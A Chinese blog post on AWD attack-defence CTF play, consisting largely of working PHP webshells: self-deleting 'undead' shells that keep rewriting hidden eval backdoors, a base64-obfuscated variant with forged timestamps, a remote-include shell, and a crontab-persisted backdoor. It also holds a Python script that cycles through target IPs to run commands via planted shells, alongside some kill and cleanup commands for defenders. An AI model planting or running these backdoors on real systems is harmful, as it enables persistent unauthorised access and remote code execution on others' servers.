0
点赞
收藏
分享

微信扫一扫

awd

SDKB英文 2023-11-28 阅读 39


传统的一句话马子的password也就是传参值name而已。如果知道这个值 就可以反向控制马子了

典型🐎

这里讲一下不死马:

这里创建index.php文件内容如下, 该文件会删除自身 并活跃在内存中,一直创建webshell。通过url访问 并且保持链接活会话...

灵魂所在也就是这个5秒创建文件...

<?php
    ignore_user_abort(true); # 断开客户端 不会终止运行
    set_time_limit(0); # 设置后台运行的时间,0表示布尔值 能一直在后台运行
    @unlink(__FILE__); #  删除本身
    $file = '.ZYGS.php';
    $code = '<?php if(md5($_GET["zygs"])=="77c5ee4503c9c1200b894a77708a98fc"){@eval($_POST["ZYGS"]);}?>';
    # 密码验证也就是参数验证。
    while (1){
        file_put_contents($file,$code);
        usleep(5000); # 5000毫秒也就是5秒写入一个文件
    }

下面是生成的.ZYGS.php'文件,通过对参数进行设置验证,防止别人用这个马子~

密码为123456 ,下面是使用例子:

<?php if(md5($_GET["zygs"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["ZYGS"]);}?>

再观察一下马子的权限,其他人只能进行读操作。普通用户不能写入文件(一般awd不给root,只有普通用户,我记得是)。

查杀

  1. 直接重启服务器,简单粗暴。(比赛一般不允许~)
  2. 重启web服务。(普通用户没权限)
  3. 已知文件是www-data权限 那我们以它的视角去做一些措施~ 通过ps获取到总进程id,并且过滤为www-data 在通过awk进行格式化获取到进程id,最后kill掉~

ps -aux  | grep 'www-data' | awk '{print($2)}' | xargs kill -9

或者是php-fpm进程

ps -ef | grep php-fpm | awk '{print $2}' | xargs kill -9

注意命令不能在终端使用,而是创建php文件来调用~

<?php
system("ps -aux  | grep 'www-data' | awk '{print($2)}' | xargs kill -9");

因为通道问题,这里的删除操作得分开操作。或者执行命令php -r "unlink('./.ZYGS.php');";

<?php unlink("./.ZYGS.php");?>

注意~ 一定得先把webshell主进程kill掉 再来删文件,否则杀不完的...

  1. 分析log,apache配置默认在/etc/apache2/apache2.conf,找一下${APACHE_LOG_DIR}/access.log

/var/log/apache2/
/usr/local/apache2/logs

  1. 有的马子会伪造为系统本地文件, 并且修改文件被创建的时间

<?php system('touch -m -d "2023-12-01 09:10:12" .config.php');

没修改时间,那就查找固定时间段哪些文件有变动

find / -name *.php -mtime -1 -ls    # 搜索前一天
find / -name *.php -mmin -60 -ls    # 搜索前一小时s

最后备份源码,然后再进行对比。比如diff -r 或者 tree看目录树...

  1. 条件竞争,只用存在usleep()中,否则~ 原理利用www-data权限去覆盖它的马子文件,前提需要知道sleep时间。或者一直死循环覆盖(不太管用)...

<?php 
    ignore_user_abort(true);
    set_time_limit(0);
    $file = '.shell.php';
    $code = '6';
    while (1){
        file_put_contents($file,$code);
          usleep(1000); # 时间小于马子的
    }

或者创建和马子同名文件夹。

远程包含🐎

原理和上面的差不多~

# aaa.txt:
@phpinfo();

<?php
$remote_file = 'http://10.16.132.41/aaa.txt';
$code = file_get_contents($remote_file);
eval($code);

shell🐎

通过执行shell命令来生🐎,原理和典型差不多

<?php
system('while true;do echo \'<?php if(md5($_GET[pass])=="3a50065e1709acc47ba0c9238294364f"){@eval($_GET[a]);} ?>\' >fuc.php;sleep 0.1;done;');

可以追踪进程查看,然后通过www-data kill掉,再删马

监控脚本

自己写的一个用于监控文件的脚本,勉强能用...

# by main1o
import os
import subprocess

def main1o():
    while True:
        try:
            lists = scanFile()
            for i in lists:
                loadFile(i)
        except KeyboardInterrupt:
            exit("[-]退出脚本")
    
def scanFile():
    command = "find -name '*.php' -mmin -10" # 10分钟内被修改的文件
    sp = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    STDOUT,STDERR = sp.communicate()
    return STDOUT.decode().split("\n")

def loadFile(filename):
    if not os.path.exists(filename):
        return False
    with open(filename,"r") as f1,open("./fileStatus.txt","a+") as f2:
        _data = f"文件名:{filename}\n内容:{f1.read()}\n\n"
        if f1:
            if _data not in f2.read():
                f2.write(_data)
    delete = subprocess.Popen(f"rm -rf {filename}",shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    delete.communicate()
    print(f"检查到文件被修改: {filename}")

种马

写的一个普通马,密码main1o666

<?php

ignore_user_abort(true); 
set_time_limit(0);
@unlink(__FILE__);
function main1o($filename,$code){
    while(TRUE){
        file_put_contents($filename,base64_decode($code));
	    system('touch -m -d "2020-9-25 10:10:10" .aria2c.php');
	    usleep(50000);
    }
}
main1o(".aria2c.php",'PD9waHAKICAgIGlmKHN1YnN0cihtZDUoJF9HRVRbIm0iXSksMCw0KSA9PT0gImYxNDIiKXsKICAgICAgICBldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJjb2RlIl0pKTsKICAgIH0=');

GetFlag:

for就不改了,多线程也不上。懒~

import requests
import base64

def main1o(passwd):
    files = {
        ".aria2c.php",
        ".shell.php"  # 这里放已知webshell
    }
    payloads = {"cat /flag", "cat /flag.txt"}
    while (True):
        for i in range(9, 11):
            for port in [80, 8080]:
                for filename in files:
                    url = f"http://10.10.{i}.128:{port}/{filename}?m={passwd}"
                    for pay in payloads:
                        data = {
                            "code": base64.b64encode(f"system('{pay}');".encode()).decode()
                        }
                        try:
                            respone = requests.post(url=url, data=data,timeout=5).text
                            print(f"{url} \n{respone}\n")
                        except:
                            pass

main1o("main1o666")

计划任务马

通过php写入计划任务去

system('echo "* * * * * echo \"<?php  if(md5(\\\\\\\\\$_POST[pass])==\'7bae7e68e0663f06e9740289b8eaaaa3\'){@eval(\\\\\\\\\$_POST[1]);}  \" > /var/www/html/.s.php\n* * * * * chmod 777 /var/www/html/.s.php" | crontab;whoami');

删除任务

<?php
system("crontab -r");

干扰

批量假包进行扰乱

举报

相关推荐

0 条评论